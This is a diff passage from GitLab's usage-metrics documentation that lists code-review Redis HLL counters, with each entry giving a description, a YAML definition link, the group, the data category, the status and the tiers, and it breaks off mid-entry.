+### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_monthly`
+
+Count of users clicking diff view setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_diff_view_setting_weekly`
+
+Count of users clicking diff view setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210607113552_i_code_review_click_diff_view_setting_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_file_browser_setting_monthly`
+
+Count of users clicking merge request file browser setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_file_browser_setting_weekly`
+
+Count of users with merge request file list setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210421145814_i_code_review_click_file_browser_setting_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_single_file_mode_setting_monthly`
+
+Count of users clicking single file mode setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_single_file_mode_setting_weekly`
+
+Count of users clicking single file mode setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210421144349_i_code_review_click_single_file_mode_setting_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_whitespace_setting_monthly`
+
+Count of users clicking merge request whitespae setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_click_whitespace_setting_weekly`
+
+Count of users clicking merge request whitespae setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210421145942_i_code_review_click_whitespace_setting_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_hide_whitespace_monthly`
+
+Count of users with show whitespace disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_hide_whitespace_weekly`
+
+Count of users with show whitespace disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422102007_i_code_review_diff_hide_whitespace_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_multiple_files_monthly`
+
+Count of users with single mode disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_multiple_files_weekly`
+
+Count of users with single mode disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422102159_i_code_review_diff_multiple_files_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_show_whitespace_monthly`
+
+Count of users with show whitespace enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_show_whitespace_weekly`
+
+Count of users with show whitespace enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422101925_i_code_review_diff_show_whitespace_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_single_file_monthly`
+
+Count of users with single file mode enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_single_file_weekly`
+
+Count of users with single file mode enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422102118_i_code_review_diff_single_file_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_view_inline_monthly`
+
+Count of users with merge request view type as inline
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_view_inline_weekly`
+
+Count of users with merge request view type as inline
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422101512_i_code_review_diff_view_inline_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_view_parallel_monthly`
+
+Count of users with merge request view type as parallel
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_diff_view_parallel_weekly`
+
+Count of users with merge request view type as parallel
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422101609_i_code_review_diff_view_parallel_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_edit_mr_desc_monthly`
+
+Count of unique users per month who edit the description of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_edit_mr_desc_weekly`
+
+Count of unique users per week who edit the description of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184340_i_code_review_edit_mr_desc_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_edit_mr_title_monthly`
+
+Count of unique users per month who edit the title of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_edit_mr_title_weekly`
+
+Count of unique users per week who edit the title of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184336_i_code_review_edit_mr_title_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_file_browser_list_view_monthly`
+
+Count of users with merge request file list setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_file_browser_list_view_weekly`
+
+Count of users with merge request file list setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422101849_i_code_review_file_browser_list_view_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_file_browser_tree_view_monthly`
+
+Count of users with merge request file tree setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_file_browser_tree_view_weekly`
+
+Count of users with merge request file tree setting
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210422101750_i_code_review_file_browser_tree_view_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_mr_diffs_monthly`
+
+Count of unique merge requests per month with diffs viewed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175120_i_code_review_mr_diffs_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_mr_diffs_weekly`
+
+Count of unique merge requests per week with diffs viewed
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_mr_single_file_diffs_monthly`
+
+Count of unique merge requests per month with diffs viewed file by file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175128_i_code_review_mr_single_file_diffs_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_mr_single_file_diffs_weekly`
+
+Count of unique merge requests per week with diffs viewed file by file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_add_suggestion_monthly`
+
+Count of unique users per month who added a suggestion
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175159_i_code_review_user_add_suggestion_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_add_suggestion_weekly`
+
+Count of unique users per week who added a suggestion
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_apply_suggestion_monthly`
+
+Count of unique users per month who applied a suggestion
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175203_i_code_review_user_apply_suggestion_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_apply_suggestion_weekly`
+
+Count of unique users per week who applied a suggestion
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_added_monthly`
+
+Count of unique users per month who add an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_added_weekly`
+
+Count of unique users per week who add an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184432_i_code_review_user_approval_rule_added_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_deleted_monthly`
+
+Count of unique users per month who delete an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_deleted_weekly`
+
+Count of unique users per week who delete an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184436_i_code_review_user_approval_rule_deleted_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_edited_monthly`
+
+Count of unique users per month who delete an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approval_rule_edited_weekly`
+
+Count of unique users per week who edit an approval rule to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184440_i_code_review_user_approval_rule_edited_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approve_mr_monthly`
+
+Count of unique users per month who approve a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_approve_mr_weekly`
+
+Count of unique users per week who approve a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184320_i_code_review_user_approve_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_assigned_monthly`
+
+Count of unique users per month who are assigned to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_assigned_weekly`
+
+Count of unique users per week who are assigned to a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184416_i_code_review_user_assigned_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_assignees_changed_monthly`
+
+Count of unique users per month who changed assignees of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_assignees_changed_weekly`
+
+Count of unique users per week who changed assignees of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_close_mr_monthly`
+
+Count of unique users per month who closed a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175136_i_code_review_user_close_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_close_mr_weekly`
+
+Count of unique users per week who closed a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_comment_monthly`
+
+Count of unique users per month who commented on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175148_i_code_review_user_create_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_comment_weekly`
+
+Count of unique users per week who commented on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_from_issue_monthly`
+
+Count of unique users per month who create a merge request from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_from_issue_weekly`
+
+Count of unique users per week who create a merge request from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184448_i_code_review_user_create_mr_from_issue_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_monthly`
+
+Count of unique users per month who created a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175132_i_code_review_user_create_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_mr_weekly`
+
+Count of unique users per week who created a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_multiline_mr_comment_monthly`
+
+Count of unique users per month who create a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_multiline_mr_comment_weekly`
+
+Count of unique users per week who create a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184359_i_code_review_user_create_multiline_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_review_note_monthly`
+
+Count of unique users per month who create a note as part of a merge request review
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_create_review_note_weekly`
+
+Count of unique users per week who create a note as part of a merge request review
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184351_i_code_review_user_create_review_note_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_edit_mr_comment_monthly`
+
+Count of unique users per month who edited a comment on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175152_i_code_review_user_edit_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_edit_mr_comment_weekly`
+
+Count of unique users per week who edited a comment on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_edit_multiline_mr_comment_monthly`
+
+Count of unique users per week who edit a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_edit_multiline_mr_comment_weekly`
+
+Count of unique users per week who edit a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184403_i_code_review_user_edit_multiline_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_labels_changed_monthly`
+
+Count of unique users per month who changed labels of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_labels_changed_weekly`
+
+Count of unique users per week who changed labels of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_monthly`
+
+Count of unique users per week who load the conflict resolution page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_weekly`
+
+Count of unique users per week who load the conflict resolution page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013544_i_code_review_user_load_conflict_ui_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_marked_as_draft_monthly`
+
+Count of unique users per month who mark a merge request as a draft
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_marked_as_draft_weekly`
+
+Count of unique users per week who mark a merge request as a draft
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184420_i_code_review_user_marked_as_draft_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_merge_mr_monthly`
+
+Count of unique users per month who merged a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175144_i_code_review_user_merge_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_merge_mr_weekly`
+
+Count of unique users per week who merged a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_milestone_changed_monthly`
+
+Count of unique users per month who changed milestone of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_milestone_changed_weekly`
+
+Count of unique users per week who changed milestone of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_mr_discussion_locked_monthly`
+
+Count of unique users per month who locked a MR
+
